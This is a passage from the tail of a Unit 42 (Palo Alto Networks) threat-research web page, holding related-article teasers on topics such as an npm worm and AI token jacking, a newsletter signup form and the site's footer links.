arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/ "The Permanent Threat: Analyzing Aeternum’s Blockchain-Based C2 Operations and Communications") ![Pictorial representation of ChainDrop, a self-propagating npm worm. An artistic depiction of a digital workspace featuring an open laptop with a red virus on the screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/03_Malware_Category_1920x900-7-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) August 6, 2026 [#### ChainDrop: Inside a Self-Propagating npm Worm](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/) * [Blockchain](https://unit42.paloaltonetworks.com/tag/blockchain/ "blockchain") * [ChainDrop](https://unit42.paloaltonetworks.com/tag/chaindrop/ "ChainDrop") * [Claude code](https://unit42.paloaltonetworks.com/tag/claude-code/ "Claude code") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/ "ChainDrop: Inside a Self-Propagating npm Worm") ![Pictorial representation of Token-jacking. A person types on a laptop with multiple digital interface elements projected, including an "AI" icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1246251272-2-786x369.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 6, 2026 [#### Token Jacking: Cybercriminals Could Be Stealing Your AI Resources](https://unit42.paloaltonetworks.com/ai-token-jacking/) * [AI API](https://unit42.paloaltonetworks.com/tag/ai-api/ "AI API") * [AI gateway](https://unit42.paloaltonetworks.com/tag/ai-gateway/ "AI gateway") * [API keys](https://unit42.paloaltonetworks.com/tag/api-keys/ "API keys") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-token-jacking/ "Token Jacking: Cybercriminals Could Be Stealing Your AI Resources") ![Pictorial representation of malware bypassing DNS and communicating directly to IP addresses. Futuristic digital cityscape with glowing blue and orange geometric structures, resembling skyscrapers.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/07_DNS_Overview_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 4, 2026 [#### Almost Half of Malware Samples Communicate Direct to IP](https://unit42.paloaltonetworks.com/malware-bypass-dns-direct-to-ip/) * [Command and Control](https://unit42.paloaltonetworks.com/tag/command-and-control/ "Command and Control") * [D2IP](https://unit42.paloaltonetworks.com/tag/d2ip/ "D2IP") * [Exfiltration](https://unit42.paloaltonetworks.com/tag/exfiltration/ "exfiltration") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/malware-bypass-dns-direct-to-ip/ "Almost Half of Malware Samples Communicate Direct to IP") * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]() ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/unit42-footer-subscribe-desktop.png) ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Get updates from Unit 42 ## Peace of mind comes from staying ahead of threats. Subscribe today. Your Email Subscribe for email updates to all Unit 42 threat research. By submitting this form, you agree to our [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use "Terms of Use") and acknowledge our [Privacy Statement.](https://www.paloaltonetworks.com/legal-notices/privacy "Privacy Statement") This site is protected by reCAPTCHA and the Google [Privacy Policy](https://policies.google.com/privacy) and [Terms of Service](https://policies.google.com/terms) apply. Invalid captcha! Subscribe ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) ![loader](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-loader.svg) {#footer} Products and Services * [AI-Powered Network Security Platform](https://www.paloaltonetworks.com/network-security) * [Secure AI by Design](https://www.paloaltonetworks.com/ai-security) * [Prisma AIRS](https://www.paloaltonetworks.com/ai-security/prisma-airs) * [AI Access Security](https://www.paloaltonetworks.com/sase/ai-access-security) * [Cloud Delivered Security Services](https://www.paloaltonetworks.com/network-security/security-subscriptions) * [Advanced Threat Prevention](https://www.paloaltonetworks.com/network-security/advanced-threat-prevention) * [Advanced URL Filtering](https://www.paloaltonetworks.com/network-security/advanced-url-filtering) * [Advanced WildFire](https://www.paloaltonetworks.com/network-security/advanced-wildfire) * [Advanced DNS Security](https://www.paloaltonetworks.com/network-security/advanced-dns-security) * [Enterprise Data Loss Prevention](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention) * [Enterprise IoT Security](https://www.paloaltonetworks.com/network-security/enterprise-device-security) * [Medical IoT Security](https://www.paloaltonetworks.com/network-security/medical-device-security) * [Industrial OT Security](https://www.paloaltonetworks.com/network-security/ot-security-solution) * [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security) * [Next-Generation Firewalls](https://www.paloaltonetworks.com/network-security/next-generation-firewall) * [Hardware Firewalls](https://www.paloaltonetworks.com/network-security/hardware-firewall-innovations) * [Software Firewalls](https://www.paloaltonetworks.com/network-security/software-firewalls) * [Strata Cloud Manager](https://www.paloaltonetworks.com/network-security/strata-cloud-manager) * [SD-WAN for NGFW](https://www.paloaltonetworks.com/network-security/sd-wan-subscription) * [PAN-OS](https://www.paloaltonetworks.com/network-security/pan-os) * [Panorama](https://www.paloaltonetworks.com/network-security/panorama) * [Secure Access Service Edge](https://www.paloaltonetworks.com/sase) * [Prisma SASE](https://www.paloaltonetworks.com/sase) * [Application Acceleration](https://www.paloaltonetworks.com/sase/app-acceleration) * [Autonomous Digital Experience Management](https://www.paloaltonetworks.com/sase/adem) * [Enterprise DLP](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention) * [Prisma Access](https://www.paloaltonetworks.com/sase/access) * [Prisma Browser](https://www.paloaltonetworks.com/sase/prisma-browser) * [Prisma SD-WAN](https://www.paloaltonetworks.com/sase/sd-wan) * [Remote Browser Isolation](https://www.paloaltonetworks.com/sase/remote-browser-isolation) * [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security) * [AI-Driven Security Operations Platform](https://www.paloaltonetworks.com/cortex) * [Cloud Security](https://www.paloaltonetworks.com/cortex/cloud) * [Cortex Cloud](https://www.paloaltonetworks.com/cortex/cloud) * [Application Security](https://www.paloaltonetworks.com/cortex/cloud/application-security) * [Cloud Posture Security](https://www.paloaltonetworks.com/cortex/cloud/cloud-posture-security) * [Cloud Runtime Security](https://www.paloaltonetworks.com/cortex/cloud/runtime-security) * [Prisma Cloud](https://www.paloaltonetworks.com/prisma/cloud) * [AI-Driven SOC](https://www.paloaltonetworks.com/cortex) * [Cortex XSIAM](https://www.paloaltonetworks.com/cortex/cortex-xsiam) * [Cortex XDR](https://www.paloaltonetworks.com/cortex/cortex-xdr) * [Cortex XSOAR](https://www.paloaltonetworks.com/cortex/cortex-xsoar) * [Cortex Xpanse](https://www.paloaltonetworks.com/cortex/cortex-xpanse) * [Unit 42 Managed Detection \& Response](https://www.paloaltonetworks.com/cortex/managed-detection-and-response) * [Managed XSIAM](https://www.paloaltonetworks.com/cortex/managed-xsiam) * [Next-Generation Identity Security](https://www.paloaltonetworks.com/idira) * [Privileged Access Management](https://www.paloaltonetworks.com/idira/human/privileged-access-management) * [Identity and Access Management](https://www.paloaltonetworks.com/idira/human/identity-and-access-management) * [Endpoint Privilege Manager](https://www.paloaltonetworks.com/idira/human/endpoint-privilege-manager) * [Identity Governance](https://www.paloaltonetworks.com/idira/human/identity-governance) * [Workforce Password Management](https://www.paloaltonetworks.com/idira/human/workforce-password-management) * [Agentic Identities](https://www.paloaltonetworks.com/idira/agentic) * [Secrets Management](https://www.paloaltonetworks.com/idira/machine/secrets-management) * [Unified Secrets Governance](https://www.paloaltonetworks.com/idira/machine/unified-secrets-governance) * [Application Credentials Delivery](https://www.paloaltonetworks.com/idira/machine/application-credentials-delivery) * [Vendor Privileged Access](https://www.paloaltonetworks.com/idira/human/vendor-privileged-access) * [Threat Intel and Incident Response Services](https://www.paloaltonetworks.com/unit42) * [Proactive Assessments](https://www.paloaltonetworks.com/unit42/assess) * [Incident Response](https://www.paloaltonetworks.com/unit42/respond) * [Transform Your Security Strategy](https://www.paloaltonetworks.com/unit42/transform) * [Discover Threat Intelligence](https://www.paloaltonetworks.com/unit42/threat-intelligence-partners) Company * [About Us](https://www.paloaltonetworks.com/about-us) * [Careers](https://jobs.paloaltonetworks.com/en/) * [Contact Us](https://www.paloaltonetworks.com/company/contact-sales) * [Corporate Responsibility](https://www.paloaltonetworks.com/about-us/corporate-responsibility) * [Customers](https://www.paloaltonetworks.com/customers) * [Investor Relations](https://investors.paloaltonetworks.com/) * [Location](https://www.paloaltonetworks.com/about-us/locations) * [Newsroom](https://www.paloaltonetworks.com/company/newsroom) Popular Links * [Blog](https://www.paloaltonetworks.com/blog/) * [Communities](https://www.paloaltonetworks.com/communities) * [Content Library](https://www.paloaltonetworks.com/resources) * [Cyberpedia](https://www.paloaltonetworks.com/cyberpedia) * [Event Center](https://events.paloaltonetworks.com/) * [Manage Email Preferences](https://start.paloaltonetworks.com/preference-center) * [Products A-Z](https://www.paloaltonetworks.com/products/products-a-z) * [Product Certifications](https://www.paloaltonetworks.com/legal-notices/trust-center/certifications) * [Report a Vulnerability](https://www.paloaltonetworks.com/security-disclosure) * [Sitemap](https://www.paloaltonetworks.com/sitemap) * [Tech Docs](https://docs.paloaltonetworks.com/) * [Unit 42](https://unit42.paloaltonetworks.com/) * [Do Not Sell or Share My Personal Information](https://panwedd.exterro.net/portal/dsar.htm?target=panwedd) ![Palo Alto Networks Logo](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/pan-logo-dark.svg) * [Privacy](https://www.paloaltonetworks.com/legal-notices/privacy) * [Trust Center](https://www.paloaltonetworks.com/legal-notices/trust-center) * [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use) * [Documents](https://www.paloaltonetworks.com/legal) Copyright © 2026 Palo Alto Networks. All Rights Reserved * [![Youtube](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/youtube-black.svg)](https://www.youtube.com/user/paloaltonetworks) * [![Podcast](https://www.paloaltonetworks.com/content/dam/pan/en_US/images/icons/podcast.svg)](https://www.paloaltonetworks.com/podcasts/threat-vector) * [![Facebook](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/facebook-black.svg)](https://www.facebook.com/PaloAltoNetworks/) * [![LinkedIn](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/linkedin-black.svg)](https://www.linkedin.com/company/palo-alto-networks) * [![Twitter](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/twitter-x-black.svg)](https://twitter.com/PaloAltoNtwks) * EN Select your language ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ### Default Heading Read the article ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) Seekbar ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Volume](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-volume.svg) Volume ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg)